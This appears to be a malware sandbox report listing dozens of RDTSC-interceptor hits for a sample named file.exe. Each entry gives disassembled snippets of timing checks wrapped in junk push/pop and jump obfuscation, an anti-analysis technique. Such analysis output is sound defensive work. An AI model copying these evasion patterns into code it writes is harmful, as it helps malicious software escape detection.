Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3C3B second address: CE3C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3F27 second address: CE3F2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3F2B second address: CE3F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3F34 second address: CE3FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD58Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jc 00007FA6B14AD59Ah 0x00000013 jmp 00007FA6B14AD594h 0x00000018 js 00007FA6B14AD58Ch 0x0000001e jo 00007FA6B14AD586h 0x00000024 popad 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 jmp 00007FA6B14AD58Eh 0x0000002e mov eax, dword ptr [eax] 0x00000030 jno 00007FA6B14AD590h 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a je 00007FA6B14AD5A4h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3FA2 second address: CE3FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE406E second address: CE407E instructions: 0x00000000 rdtsc 0x00000002 je 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE407E second address: CE4082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4082 second address: CC65DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FA6B14AD588h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+12487B96h] 0x0000002e js 00007FA6B14AD589h 0x00000034 adc dh, FFFFFFBEh 0x00000037 sub dword ptr [ebp+122D2B73h], ecx 0x0000003d nop 0x0000003e jc 00007FA6B14AD592h 0x00000044 push eax 0x00000045 jng 00007FA6B14AD590h 0x0000004b nop 0x0000004c call 00007FA6B14AD595h 0x00000051 jmp 00007FA6B14AD58Ah 0x00000056 pop edx 0x00000057 call dword ptr [ebp+122D2547h] 0x0000005d jo 00007FA6B14AD5A4h 0x00000063 push eax 0x00000064 jl 00007FA6B14AD586h 0x0000006a pop eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push edi 0x0000006e pop edi 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC65DC second address: CC65E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0DE97 second address: D0DEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E2F1 second address: D0E2FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E43E second address: D0E45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD599h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E45E second address: D0E468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA6B11DE256h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19005 second address: D1902F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA6B14AD586h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FA6B14AD598h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19174 second address: D1917A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1917A second address: D1917E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1917E second address: D1918B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1918B second address: D19191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D194A3 second address: D194B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE260h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18BD4 second address: D18BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18BD8 second address: D18BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19BEC second address: D19C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnl 00007FA6B14AD586h 0x0000000e je 00007FA6B14AD586h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19EA9 second address: D19ECB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6B11DE25Ah 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FA6B11DE25Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FA6B11DE256h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0BC9 second address: CA0BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0BCF second address: CA0BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0BD3 second address: CA0BE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0BE7 second address: CA0BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0BEB second address: CA0C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FA6B14AD594h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E54E second address: D1E55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE25Ah 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E55D second address: D1E572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Eh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E6CE second address: D1E6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA6B11DE25Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E6DE second address: D1E70F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FA6B14AD58Ch 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA6B14AD599h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E9FC second address: D1EA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA6B11DE256h 0x0000000a jl 00007FA6B11DE256h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EA0D second address: D1EA12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EA12 second address: D1EA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EA18 second address: D1EA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FA6B14AD5A4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EDFA second address: D1EDFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EDFE second address: D1EE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA6B14AD586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FA6B14AD59Bh 0x00000012 jmp 00007FA6B14AD593h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EE25 second address: D1EE4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6B11DE266h 0x00000008 push eax 0x00000009 pop eax 0x0000000a jl 00007FA6B11DE256h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EE4D second address: D1EE51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EE51 second address: D1EE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EE60 second address: D1EE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EE6E second address: D1EE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F28A second address: D1F2B8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6B14AD590h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FA6B14AD58Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jng 00007FA6B14AD586h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F571 second address: D1F576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F576 second address: D1F595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA6B14AD58Eh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24B5B second address: D24B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FA6B11DE256h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24B6B second address: D24B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24B70 second address: D24B7A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA6B11DE262h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA41B0 second address: CA41C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD58Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2442B second address: D2442F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2442F second address: D24468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD595h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop esi 0x0000000f jp 00007FA6B14AD594h 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24468 second address: D2447A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE25Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2447A second address: D2448A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2930D second address: D29313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C695 second address: D2C6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD591h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C822 second address: D2C826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C826 second address: D2C82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C82C second address: D2C837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C837 second address: D2C85D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FA6B14AD586h 0x00000015 jmp 00007FA6B14AD591h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C85D second address: D2C863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C863 second address: D2C87B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007FA6B14AD586h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FA6B14AD586h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C9DD second address: D2C9E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C9E1 second address: D2C9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FA6B14AD588h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C9EF second address: D2C9F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C9F4 second address: D2CA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007FA6B14AD58Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 jne 00007FA6B14AD588h 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D344AE second address: D344D0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA6B11DE264h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D344D0 second address: D344F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA6B14AD592h 0x0000000b pushad 0x0000000c jnc 00007FA6B14AD586h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D344F6 second address: D34500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA6B11DE256h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D347CB second address: D347E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a jmp 00007FA6B14AD58Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D347E1 second address: D347E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3496B second address: D34975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA6B14AD586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34975 second address: D34979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34979 second address: D3497F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3497F second address: D3499A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6B11DE261h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3499A second address: D3499E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3499E second address: D349BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE268h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D349BA second address: D349D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jo 00007FA6B14AD586h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jng 00007FA6B14AD586h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CF4 second address: D34CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CF8 second address: D34D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F75 second address: D34F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C388 second address: D3C3B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA6B14AD597h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FA6B14AD5A4h 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C6E6 second address: D3C6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C99E second address: D3C9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA6B14AD586h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C9AA second address: D3C9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C9AF second address: D3C9CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD590h 0x00000007 jbe 00007FA6B14AD58Eh 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3CFFF second address: D3D005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D005 second address: D3D021 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d jnl 00007FA6B14AD586h 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D021 second address: D3D02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA6B11DE256h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D2CD second address: D3D2E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA6B14AD591h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D2E4 second address: D3D2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D607 second address: D3D628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA6B14AD586h 0x0000000a jmp 00007FA6B14AD594h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D628 second address: D3D63C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FA6B11DE256h 0x00000009 pop edi 0x0000000a jl 00007FA6B11DE25Eh 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46411 second address: D46415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
